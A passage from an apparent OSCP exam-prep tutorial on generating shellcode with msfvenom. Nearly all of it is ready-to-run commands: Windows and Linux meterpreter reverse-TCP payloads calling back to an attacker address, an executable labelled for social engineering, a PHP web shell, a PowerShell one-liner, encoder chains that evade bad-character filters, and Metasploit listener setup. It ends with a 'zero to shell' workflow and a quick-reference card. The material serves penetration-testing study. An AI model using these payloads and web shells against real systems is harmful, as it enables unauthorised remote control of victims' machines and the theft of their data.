-f py
Template 6: Generate EXE for Social Engineering
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f exe \
-o payload.exe
Template 7: PHP Web Shell
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f raw \
> shell.php
# Then wrap in PHP tags:
# <?php [paste payload here] ?>
Template 8: PowerShell One-Liner
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f powershell
Template 9: Raw Shellcode for Manual Encoding
# Generate raw, then manually encode
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f raw \
-o /tmp/raw_shellcode.bin
Template 10: With Nop Sled
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-n 32 \
-f py
11. Setting Up the Listener
After generating shellcode, you need a listener to catch the connection.
Using handler in msfconsole
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.3
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j -z
Using msfvenom-Generated Resource Script
# Generate a resource script
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f rc \
-o listener.rc
# Run the listener
msfconsole -r listener.rc
Quick Handler (One-Liner)
# Using rlwrap for better terminal experience
rlwrap msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.14.3; set LPORT 4444; set ExitOnSession false; run -j"
12. Troubleshooting
Problem 1: Encoder Fails to Remove Bad Characters
Symptom: Encoded shellcode still contains bad characters.
Solutions:
# Solution A: Increase iterations
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 5 \
-f py
# Solution B: Try a different encoder
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/countdown \
-b '\x00\x0a\x0d' \
-i 3 \
-f py
# Solution C: Chain encoding (manual multi-pass)
# Pass 1
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-f raw \
-o /tmp/pass1.bin
# Pass 2 — encode the already-encoded output
msfvenom -e x86/countdown \
-b '\x00\x0a\x0d' \
-i 2 \
-x /tmp/pass1.bin \
-f py
Problem 2: Payload Too Large for Buffer
Symptom: Encoded shellcode exceeds available buffer space.
Solutions:
# Solution A: Use a smaller payload
msfvenom -p windows/shell/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 1 \
-f py
# Solution B: Reduce iterations
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 1 \
-f py
# Solution C: Use --smallest
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
--smallest \
-f py
# Solution D: Set explicit size limit
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-s 400 \
-b '\x00\x0a\x0d' \
-f py
Problem 3: Bad Characters Reintroduced After Encoding
Symptom: Shellcode looked clean but crashes at runtime.
Causes and Fixes:
-
Encoder stub introduces bad chars: The decoder stub itself may contain bad characters.
# Try a different encoder with a different stub msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=10.10.14.3 LPORT=4444 \ -e x86/countdown \ -b '\x00\x0a\x0d' \ -i 3 \ -f py -
Nop sled contains bad chars: Ensure your nop sled (
\x90) is not a bad character.# If \x90 is bad, use alternative sled bytes # \x04 (inc esp), \x40 (inc eax), etc. NOP_SLED = b'\x04' * 16 # Alternative to \x90 -
Return address contains bad chars: Your JMP/RET address may contain bad characters.
# Find an alternative address without bad chars # Use mona.py to find safe addresses # !mona find -s '\xff' -m *.dll
Problem 4: msfvenom Command Fails or Hangs
Symptom: msfvenom hangs or returns an error.
Solutions:
# Check msfvenom is installed
which msfvenom
# Update Metasploit
sudo apt update && sudo apt install metasploit-framework
# Try with explicit platform and architecture
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
--platform windows \
--arch x86 \
-f py
# Debug: Check what's being generated
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f hex | head -c 100
Problem 5: Connection Refused / No Callback
Symptom: Exploit runs but no meterpreter session.
Checklist:
-
Listener is running before exploit:
# Start listener FIRST msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.14.3; set LPORT 4444; run" # THEN run your exploit -
LHOST matches your actual IP:
# Check your TUN interface IP ifconfig tun0 # LHOST must match this IP -
Firewall is not blocking:
# Check if port is listening sudo ss -tlnp | grep 4444 # On Windows target, check outbound connectivity # telnet 10.10.14.3 4444 -
Shellcode is corrupted in transit:
- Verify bad characters are truly eliminated
- Check the shellcode in Immunity Debugger memory
- Compare sent vs received bytes
13. Advanced Techniques
13.1 Custom Payload Options
# Set EXITFUNC to 'thread' for cleaner exit
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
EXITFUNC=thread \
-f py
# Set EXITFUNC to 'seh' for SEH-based overflows
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
EXITFUNC=seh \
-f py
# Set EXITFUNC to 'process'
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
EXITFUNC=process \
-f py
EXITFUNC Comparison
| EXITFUNC | Description | Use Case |
|---|---|---|
thread |
Exits the thread, leaves process running | Most common — clean exit |
process |
Terminates the entire process | When you want the app to close |
seh |
Uses SEH for cleanup | SEH-based overflows |
none |
No cleanup — may crash | Testing only |
13.2 Generating Shellcode with Specific Constraints
# No null bytes, no newlines, under 400 bytes
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-s 400 \
-i 3 \
-f py
# Alphanumeric only (extremely restrictive)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/alpha_mixed \
-f py
# Avoid all control characters
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f' \
-i 5 \
-f py
13.3 Verifying Shellcode Quality
# Check for bad characters in generated shellcode
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-f hex | grep -o '00\|0a\|0d'
# If no output, bad characters are eliminated
14. Complete Workflow: From Zero to Shell
Step-by-Step OSCP Exploit Shellcode Process
sequenceDiagram
participant U as You
participant M as msfvenom
participant I as Immunity
participant E as Exploit Script
U->>M: Generate raw shellcode
M-->>U: Raw shellcode output
U->>E: Insert raw shellcode
U->>I: Run exploit, check memory
I-->>U: Identify bad chars
U->>M: Regenerate with -b flag
M-->>U: Encoded shellcode
U->>E: Update exploit script
U->>I: Test again
I-->>U: Bad chars remain?
alt Yes
U->>M: Try different encoder / more iterations
M-->>U: New encoded shellcode
U->>E: Update again
U->>I: Test again
else No
U->>E: Finalize exploit
U->>I: Run final exploit
I-->>U: Shell obtained!
end
Detailed Steps
Step 1: Generate Initial Shellcode
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-f py
Step 2: Identify Bad Characters
# In your exploit script, use the full byte array
bad_chars = (
'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
'\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f'
# ... all 255 non-null bytes
)
# Replace your shellcode with bad_chars
# Run the exploit
# Check in Immunity which bytes are missing
Step 3: Regenerate with Bad Character Avoidance
# Based on your findings, e.g., \x00\x0a\x0d are bad
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai \
-b '\x00\x0a\x0d' \
-i 3 \
-f py
Step 4: Verify in Immunity
- Update exploit with new shellcode
- Run exploit
- Check memory dump — all bytes should be intact
- If clean, start your listener and run the exploit
Step 5: Start Listener and Execute
# Terminal 1: Start listener
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.14.3; set LPORT 4444; run"
# Terminal 2: Run exploit
python exploit.py
15. Quick Reference Card
Most Used Commands
# === GENERATION ===
# Standard Windows x86 reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -i 3 -f py
# Standard Windows x64 reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f py
# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f py
# === LISTING ===
# List payloads
msfvenom -l payloads
# List encoders
msfvenom -l encoders
# List formats
msfvenom -l formats
# === TROUBLESHOOTING ===
# Check payload size
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f hex | wc -c
# Generate smallest possible
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> --smallest -f py
# Force size limit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -s 400 -f py
Bad Character Quick Reference
| Scenario | Bad Characters | Command |
|---|---|---|
| Stack overflow (C string) | \x00 |
-b '\x00' |
| Network protocol (CRLF) | \x00\x0a\x0d |
-b '\x00\x0a\x0d' |
| HTTP header injection | \x00\x0a\x0d\x20 |
-b '\x00\x0a\x0d\x20' |
| URL-encoded input | \x00\x20\x26\x3d |
-b '\x00\x20\x26\x3d' |
| XML/HTML input | \x00\x3c\x3e\x26 |
-b '\x00\x3c\x3e\x26' |
| Most restrictive | \x00\x09\x0a\x0d\x20 |
-b '\x00\x09\x0a\x0d\x20' |
16. Summary and Key Takeaways
Essential Commands to Memorize
- Generate shellcode:
msfvenom -p <payload> LHOST=<IP> LPORT=<PORT> -f py - With encoder: Add
-e x86/shikata_ga_nai -i 3 - With bad chars: Add
-b '\x00\x0a\x0d' - Size limit: Add
-s <bytes> - List resources:
msfvenom -l payloads|encoders|formats
Decision Tree for OSCP
Need shellcode?
├── What platform?
│ ├── Windows → windows/meterpreter/reverse_tcp
│ ├── Linux → linux/x86/meterpreter/reverse_tcp
│ └── Other → Check msfvenom -l payloads
│
├── Any bad characters?
│ ├── Yes → Add -e x86/shikata_ga_nai -b '<chars>' -i 3
│ └── No → Skip encoder (smaller payload)
│
├── Still have bad chars?
│ ├── Yes → Try -i 5, or switch to x86/countdown
│ └── No → Good to go
│
├── Payload too large?
│ ├── Yes → Use windows/shell/reverse_tcp (smaller)
│ └── No → Good to go
│
└── Ready to exploit!
Final Tips
- Always start your listener before running the exploit
- Use
ExitOnSession falsein handler to catch multiple sessions - Keep a backup of working shellcode — don’t overwrite until you confirm it works
- When in doubt, use
shikata_ga_naiwith 3 iterations — it works 90% of the time - If all encoders fail, consider writing custom shellcode or using a different payload type
- Document your bad characters — they vary per vulnerability
This guide covers the complete msfvenom workflow for OSCP exploit development. Master these commands and strategies, and shellcode generation will become a routine part of your exploitation process.